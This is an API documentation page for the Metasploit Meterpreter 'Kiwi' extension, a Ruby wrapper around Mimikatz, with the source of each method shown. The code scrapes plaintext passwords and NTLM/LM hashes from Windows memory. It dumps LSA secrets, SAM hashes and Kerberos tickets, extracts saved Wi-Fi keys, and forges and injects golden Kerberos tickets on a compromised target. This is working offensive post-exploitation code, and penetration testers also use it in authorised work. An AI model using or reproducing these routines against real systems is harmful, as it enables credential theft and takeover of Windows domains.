Class: Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi
- Inherits:
-
Rex::Post::Meterpreter::Extension
- Object
- Rex::Post::Meterpreter::Extension
- Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi
- Defined in:
- lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb
Overview
Kiwi extension - grabs credentials from windows memory.
Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz
extension converted by OJ Reeves (TheColonial)
Constant Summary collapse
- PWD_ID_SEK_ALLPASS =
These are constants that identify the type of credential to dump from the target machine.
0
- PWD_ID_SEK_WDIGEST =
1
- PWD_ID_SEK_MSV =
2
- PWD_ID_SEK_KERBEROS =
3
- PWD_ID_SEK_TSPKG =
4
- PWD_ID_SEK_LIVESSP =
5
- PWD_ID_SEK_SSP =
6
- PWD_ID_SEK_DPAPI =
7
- KERBEROS_FLAGS =
List of names which represent the flags that are part of the dumped kerberos tickets. The order of these is important. Each of them was pulled from the Mimikatz 2.0 source base.
[ "NAME CANONICALIZE", "<unknown>", "OK AS DELEGATE", "<unknown>", "HW AUTHENT", "PRE AUTHENT", "INITIAL", "RENEWABLE", "INVALID", "POSTDATED", "MAY POSTDATE", "PROXY", "PROXIABLE", "FORWARDED", "FORWARDABLE", "RESERVED" ].map(&:freeze).freeze
Instance Attribute Summary
Attributes inherited from Rex::Post::Meterpreter::Extension
Instance Method Summary collapse
-
#all_pass ⇒ Array<Hash>
Scrape all passwords from the target machine.
-
#golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) ⇒ String
Create a new golden kerberos ticket on the target machine and return it.
-
#initialize(client) ⇒ Kiwi
constructor
Typical extension initialization routine.
-
#kerberos ⇒ Array<Hash>
Scrape Kerberos credentials from the target machine.
-
#kerberos_ticket_list(export) ⇒ Array<Hash>
List available kerberos tickets.
-
#kerberos_ticket_purge ⇒ void
Purge any Kerberos tickets that have been added to the current session.
-
#kerberos_ticket_use(ticket) ⇒ void
Use the given ticket in the current session.
-
#livessp ⇒ Array<Hash>
Scrape LiveSSP credentials from the target machine.
-
#lsa_dump ⇒ Hash<Symbol,Object>
Dump the LSA secrets from the target machine.
-
#msv ⇒ Array<Hash>
Scrape msv credentials from the target machine.
-
#scrape_passwords(pwd_id) ⇒ Array<Hash>
Scrape passwords from the target machine.
-
#ssp ⇒ Array<Hash>
Scrape SSP credentials from the target machine.
-
#to_kerberos_flag_list(flags) ⇒ Array<String>
Convert a flag set to a list of string representations for the bit flags that are set.
-
#tspkg ⇒ Array<Hash>
Scrape TSPKG credentials from the target machine.
-
#wdigest ⇒ Array<Hash>
Scrape wdigest credentials from the target machine.
-
#wifi_list ⇒ Array<Hash>
List all the wifi interfaces and the profiles associated with them.
Constructor Details
#initialize(client) ⇒ Kiwi
Typical extension initialization routine.
66 67 68 69 70 71 72 73 74 75 76 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 66 def initialize(client) super(client, 'kiwi') client.register_extension_aliases( [ { 'name' => 'kiwi', 'ext' => self }, ]) end |
Instance Method Details
#all_pass ⇒ Array<Hash>
Scrape all passwords from the target machine.
321 322 323 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 321 def all_pass scrape_passwords(PWD_ID_SEK_ALLPASS) end |
#golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) ⇒ String
Create a new golden kerberos ticket on the target machine and return it.
220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 220 def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) request = Packet.create_request('kiwi_kerberos_golden_ticket_create') request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) group_ids.each do |g| request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) end response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) end |
#kerberos ⇒ Array<Hash>
Scrape Kerberos credentials from the target machine.
369 370 371 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 369 def kerberos scrape_passwords(PWD_ID_SEK_KERBEROS) end |
#kerberos_ticket_list(export) ⇒ Array<Hash>
List available kerberos tickets.
157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 157 def kerberos_ticket_list(export) export ||= false request = Packet.create_request('kiwi_kerberos_ticket_list') request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export) response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_KERB_TKT) do |t| results << { :enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE), :start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START), :end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END), :max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW), :server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME), :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM), :client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME), :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM), :flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS), :raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) } end results end |
#kerberos_ticket_purge ⇒ void
This method returns an undefined value.
Purge any Kerberos tickets that have been added to the current session.
202 203 204 205 206 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 202 def kerberos_ticket_purge request = Packet.create_request('kiwi_kerberos_ticket_purge') client.send_request(request) return true end |
#kerberos_ticket_use(ticket) ⇒ void
This method returns an undefined value.
Use the given ticket in the current session.
190 191 192 193 194 195 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 190 def kerberos_ticket_use(ticket) request = Packet.create_request('kiwi_kerberos_ticket_use') request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) client.send_request(request) return true end |
#livessp ⇒ Array<Hash>
Scrape LiveSSP credentials from the target machine.
345 346 347 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 345 def livessp scrape_passwords(PWD_ID_SEK_LIVESSP) end |
#lsa_dump ⇒ Hash<Symbol,Object>
Dump the LSA secrets from the target machine.
82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 82 def lsa_dump request = Packet.create_request('kiwi_lsa_dump_secrets') response = client.send_request(request) result = { :major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ), :minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN), :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME), :syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY), :nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY), :nt6keys => [], :secrets => [], :samkeys => [] } response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k| result[:nt6keys] << { :id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID), :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE) } end response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s| result[:secrets] << { :name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME), :service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV), :ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM), :current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR), :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW), :old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD), :old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW) } end response.each(TLV_TYPE_KIWI_LSA_SAM) do |s| result[:samkeys] << { :rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID), :user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER), :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH), :lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH) } end result end |
#msv ⇒ Array<Hash>
Scrape msv credentials from the target machine.
337 338 339 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 337 def msv scrape_passwords(PWD_ID_SEK_MSV) end |
#scrape_passwords(pwd_id) ⇒ Array<Hash>
Scrape passwords from the target machine.
282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 282 def scrape_passwords(pwd_id) request = Packet.create_request('kiwi_scrape_passwords') request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) response = client.send_request(request) # keep track of unique entries uniques = Set.new results = [] response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| result = { :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), :auth_hi => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI), :auth_lo => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO), :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) } # generate a "unique" set identifier based on the domain/user/pass. We # don't use the whole object because the auth hi/low might be different # but everything else might be the same. Join with non-printable, as this # can't appear in passwords anyway. set_id = [result[:domain], result[:username], result[:password]].join("\x01") # only add to the result list if we don't already have it if uniques.add?(set_id) results << result end end return results end |
#ssp ⇒ Array<Hash>
Scrape SSP credentials from the target machine.
353 354 355 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 353 def ssp scrape_passwords(PWD_ID_SEK_SSP) end |
#to_kerberos_flag_list(flags) ⇒ Array<String>
Convert a flag set to a list of string representations for the bit flags that are set.
137 138 139 140 141 142 143 144 145 146 147 148 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 137 def to_kerberos_flag_list(flags) flags = flags >> 16 results = [] KERBEROS_FLAGS.each_with_index do |item, idx| if (flags & (1 << idx)) != 0 results << item end end results end |
#tspkg ⇒ Array<Hash>
Scrape TSPKG credentials from the target machine.
361 362 363 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 361 def tspkg scrape_passwords(PWD_ID_SEK_TSPKG) end |
#wdigest ⇒ Array<Hash>
Scrape wdigest credentials from the target machine.
329 330 331 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 329 def wdigest scrape_passwords(PWD_ID_SEK_WDIGEST) end |
#wifi_list ⇒ Array<Hash>
List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.
241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 |
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 241 def wifi_list request = Packet.create_request('kiwi_wifi_profile_list') response = client.send_request(request) results = [] response.each(TLV_TYPE_KIWI_WIFI_INT) do |i| interface = { :guid => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)), :desc => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC), :state => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE), :profiles => [] } i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p| xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML) doc = REXML::Document.new(xml) profile = doc.elements['WLANProfile'] interface[:profiles] << { :name => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME), :auth => profile.elements['MSM/security/authEncryption/authentication'].text, :key_type => profile.elements['MSM/security/sharedKey/keyType'].text, :shared_key => profile.elements['MSM/security/sharedKey/keyMaterial'].text } end results << interface end return results end |